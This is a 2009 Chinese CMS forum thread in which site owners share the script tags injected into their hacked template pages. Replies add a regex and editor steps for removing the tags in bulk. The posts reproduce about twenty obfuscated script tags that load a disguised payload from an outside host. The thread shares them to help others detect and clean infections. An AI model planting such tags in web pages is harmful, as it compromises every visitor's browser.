账号通
    

账号  

密码  

2333

查看

6

回复
主题:【公告】晒一下我中的 v6 木马脚本,供大家查找 [收藏主题] 转到:  
jackyzhi 当前离线

36

主题

0

广播

0

粉丝
添加关注
级别:学前班

用户积分:1058 分
登录次数:74 次
注册时间:2007/12/31
最后登录:2010/1/18
jackyzhi 发表于:2009/9/16 10:41:00   | 只看该作者 查看该作者主题 楼主 
做在线知识付费 选科汛云开店

 

我全站模板页面被挂的木马脚本,晒给大家,或许便于大家查找:

 


<script language="JavaScript" src="http://www%2Eicxxw%2Ecom/images/logo1%2Eswf" type="text/javascript" id="seraph6script4830"  ></script>

<script src="http://www.icxxw.com/imag%65s/logo1.swf" type="text/javascript" language="JavaScript" id="seraph6script2440"  ></script>


<script language="JavaScript" type="text/javascript" src="http://www.i%63xxw.%63om/images/logo1.swf" id="seraph6script6952"  ></script>


<script id="seraph6script6825" type="text/javascript" src="http://%77%77%77.icxx%77.com/images/logo1.s%77f" language="JavaScript"  ></script>


<script language="JavaScript" type="text/javascript" src="http://www.ic%78%78w.com/images/logo1.swf" id="seraph6script672"  ></script>


<script language="JavaScript" id="seraph6script7636" src="http://www%2Eicxxw%2Ecom/images/logo1%2Eswf" type="text/javascript"  ></script>


<script language="JavaScript" id="seraph6script954" src="http://www.icxxw.co%6D/i%6Dages/logo1.swf" type="text/javascript"  ></script>


<script language="JavaScript" type="text/javascript" src="http://www.i%63xxw.%63om/images/logo1.swf" id="seraph6script5159"  ></script>


<script language="JavaScript" id="seraph6script3344" src="http://www.icxxw.c%6Fm/images/l%6Fg%6F1.swf" type="text/javascript"  ></script>


<script src="http://www.%69cxxw.com/%69mages/logo1.swf" type="text/javascript" language="JavaScript" id="seraph6script2794"  ></script>


<script type="text/javascript" language="JavaScript" src="http://www.ic%78%78w.com/images/logo1.swf" id="seraph6script2021"  ></script>


<script type="text/javascript" language="JavaScript" src="http://www.icxxw.com/imag%65s/logo1.swf" id="seraph6script4073"  ></script>


<script type="text/javascript" language="JavaScript" src="http://%77%77%77.icxx%77.com/images/logo1.s%77f" id="seraph6script5955"  ></script>


<script language="JavaScript" type="text/javascript" src="http://www.icxxw.co%6D/i%6Dages/logo1.swf" id="seraph6script5339"  ></script>


<script type="text/javascript" language="JavaScript" src="http://%77%77%77.icxx%77.com/images/logo1.s%77f" id="seraph6script2277"  ></script>


<script language="JavaScript" type="text/javascript" src="http://www.icxxw.com/image%73/logo1.%73wf" id="seraph6script7662"  ></script>


<script language="JavaScript" type="text/javascript" src="http://www.ic%78%78w.com/images/logo1.swf" id="seraph6script5275"  ></script>


<script language="JavaScript" type="text/javascript" id="seraph6script7665" src="http://www.icxxw.com/imag%65s/logo1.swf"  ></script>


<script language="JavaScript" src="http://www.ic%78%78w.com/images/logo1.swf" type="text/javascript" id="seraph6script1750"  ></script>


<script src="http://www.i%63xxw.%63om/images/logo1.swf" type="text/javascript" language="JavaScript" id="seraph6script6354"  ></script>

 
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
sqzxorg 当前离线

617

主题

0

广播

0

粉丝
添加关注
级别:六年级

用户积分:859 分
登录次数:119 次
注册时间:2009/8/31
最后登录:2016/5/28
sqzxorg 发表于:2009/9/18 15:22:00   | 只看该作者 查看该作者主题 沙发 
做在线知识付费 选科汛云开店
我的现在没有这个代码了   但是大家也说我的也中马了   郁闷~~    懂的大侠们 帮忙看看啊  www.ymtie.com.cn     可以给我发短信 或者加我QQ648070412   谢谢了
 
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
laoxian888 当前离线

20

主题

0

广播

0

粉丝
添加关注
级别:学前班

用户积分:509 分
登录次数:77 次
注册时间:2009/8/6
最后登录:2011/3/4
laoxian888 发表于:2009/9/18 14:42:00   | 只看该作者 查看该作者主题 藤椅 
科汛在线考试系统(NET)

给一个彻底解决问题的办法

 

 
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
5kcn 当前离线

1387

主题

7

广播

2

粉丝
添加关注
级别:九年级

用户积分:5750 分
登录次数:328 次
注册时间:2007/11/8
最后登录:2021/5/15
5kcn 发表于:2009/9/16 15:01:00   | 只看该作者 查看该作者主题 板凳 
科汛在线考试系统(NET)
以下是引用zxzthlxf在2009-9-16 10:52:00的发言:

关于如何替换被改写的代码段:请使用Ultraedit 14.0以上的版本,支持多行替换及正则表达式

在服务器上运行Ultraedit,选择搜索菜单下的在文件中替换

查找内容为:

(<script).*?(icxxw|icxx%77|i%63xxw|%69cxxw|ic%78xw|icx%78w).*?(\/script>)

替换内容为:空格

 

选下面的正则表达式,Perl规则,再选择网站目录,可进行批量替换!

 

 

不错!

 
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
laoxian888 当前离线

20

主题

0

广播

0

粉丝
添加关注
级别:学前班

用户积分:509 分
登录次数:77 次
注册时间:2009/8/6
最后登录:2011/3/4
laoxian888 发表于:2009/9/16 13:33:00   | 只看该作者 查看该作者主题 报纸 
科汛智能建站系统
我的站也中了这个啊
 
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
dgmail88 当前离线

31

主题

0

广播

0

粉丝
添加关注
级别:学前班

用户积分:430 分
登录次数:29 次
注册时间:2009/7/27
最后登录:2010/3/23
dgmail88 发表于:2009/9/16 11:37:00   | 只看该作者 查看该作者主题 地板 
科汛智能建站系统
实在是没错.跟我的一个鸟样
 
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
zxzthlxf 当前离线

44

主题

0

广播

0

粉丝
添加关注
级别:学前班

用户积分:530 分
登录次数:17 次
注册时间:2007/12/3
最后登录:2010/3/19
zxzthlxf 发表于:2009/9/16 10:52:00   | 只看该作者 查看该作者主题 7楼 
做在线知识付费 选科汛云开店

关于如何替换被改写的代码段:请使用Ultraedit 14.0以上的版本,支持多行替换及正则表达式

在服务器上运行Ultraedit,选择搜索菜单下的在文件中替换

查找内容为:

(<script).*?(icxxw|icxx%77|i%63xxw|%69cxxw|ic%78xw|icx%78w).*?(\/script>)

替换内容为:空格

 

选下面的正则表达式,Perl规则,再选择网站目录,可进行批量替换!

 
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
<上一主题 | 下一主题 >
Powered By KesionCMS Version X1
厦门科汛软件有限公司 © 2006-2016 页面执行0.21875秒 powered by KesionCMS 9.0